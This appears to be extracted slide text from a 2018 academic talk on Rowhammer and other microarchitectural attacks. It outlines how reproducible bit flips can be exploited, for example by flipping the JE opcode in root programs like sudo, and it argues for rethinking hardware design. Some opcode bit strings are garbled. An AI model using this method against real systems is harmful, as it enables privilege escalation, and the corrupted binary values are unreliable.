  1. Choose a data structure that you can place at arbitrary memory locations
  2. Scan for “good” flips
  3. Place data structure there
How to exploit random bit flips?

- They are not random → highly reproducible flip pattern!
  1. Choose a data structure that you can place at arbitrary memory locations
  2. Scan for “good” flips
  3. Place data structure there
  4. Trigger bit flip again
What if we cannot target kernel pages?

Many applications perform actions as root. They can be used by unprivileged users as well (e.g., `sudo` command).
What if we cannot target kernel pages?
What if we cannot target kernel pages?

Many applications perform actions as root. They can be used by unprivileged users as well.
What if we cannot target kernel pages?

- Many applications perform actions as root
What if we cannot target kernel pages?

- Many applications perform actions as root
What if we cannot target kernel pages?

- Many applications perform actions as root
- They can be used by unprivileged users as well
What if we cannot target kernel pages?

- Many applications perform actions as root
- They can be used by unprivileged users as well
What if we cannot target kernel pages?

- Many applications perform actions as root
- They can be used by unprivileged users as well
- `sudo`
Opcode Flipping - Conditional Jump

JE

01110100

→

HLT

11110100
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

→

XORB

0 0 1 1 0 1 0 0
Opcode Flipping - Conditional Jump

JE

011110100

PUSHQ

0101010100
Opcode Flipping - Conditional Jump

JE

011110100

<prefix>

011100100
 Opcode Flipping - Conditional Jump

JE

011110100

→

JL

0111111100
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

JO

0 1 1 1 1 0 0 0 0

Daniel Gruss — Graz University of Technology
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

JBE

0 1 1 1 0 1 1 0
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

JNE

0 1 1 1 0 1 0 1

Daniel Gruss — Graz University of Technology
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips

→ use ECC memory to mitigate bit flips
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips
- use ECC memory to mitigate bit flips
- in the end: it’s an optimization problem.
Apple had a great idea:
- lowering the refresh rate saves energy but produces more bit flips
  → use ECC memory to mitigate bit flips
- in the end: it’s an optimization problem.
  - too aggressive? bit flips will be possible
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips

→ use ECC memory to mitigate bit flips

- in the end: it’s an optimization problem.
  - too aggressive? bit flips will be possible
  - too cautious? waste of energy
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips
- use ECC memory to mitigate bit flips
- in the end: it’s an optimization problem.
  - too aggressive? bit flips will be possible
  - too cautious? waste of energy
  - what if the “too aggressive” changes over time?
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips

→ use ECC memory to mitigate bit flips

- in the end: it’s an optimization problem.
- too aggressive? bit flips will be possible
- too cautious? waste of energy
- what if the “too aggressive” changes over time?
- what if attackers come up with slightly better attacks?
Apple had a great idea:

- lowering the refresh rate saves energy but produces more bit flips

→ use ECC memory to mitigate bit flips

- in the end: it’s an optimization problem.
  
  - too aggressive? bit flips will be possible
  - too cautious? waste of energy
  - what if the “too aggressive” changes over time?
  - what if attackers come up with slightly better attacks?

→ difficult to optimize with an intelligent adversary
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto "software should be fixed"
- attacks on ASLR "ASLR is broken anyway"
- attacks on SGX and TrustZone "not part of the threat model"
- Rowhammer "only affects cheap sub-standard modules"

for years we solely optimized for performance
We have ignored microarchitectural attacks for many years:

- attacks on crypto
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer
We have ignored microarchitectural attacks for many years:

- attacks on crypto $\rightarrow$ “software should be fixed”
- attacks on ASLR $\rightarrow$ “ASLR is broken anyway”
- attacks on SGX and TrustZone $\rightarrow$ “not part of the threat model”
- Rowhammer $\rightarrow$ “only affects cheap sub-standard modules”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer → “only affects cheap sub-standard modules”

→ for years we solely optimized for performance
... and we're still optimizing for performance

- lower refresh rate = lower energy but more bit flips
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
  → it’s an optimization problem
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
  - what if “too aggressive” changes over time?
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
  - what if “too aggressive” changes over time?
    → difficult to optimize with an intelligent adversary
A unique chance to

- rethink processor design
Conclusions

A unique chance to

- rethink processor design
- many problems to solve around microarchitectural attacks
Conclusions

A unique chance to

- rethink processor design
- many problems to solve around microarchitectural attacks
- dedicate more time into identifying problems and not solely in mitigating known problems
Software-based Microarchitectural Attacks

Daniel Gruss
September 4, 2018

Graz University of Technology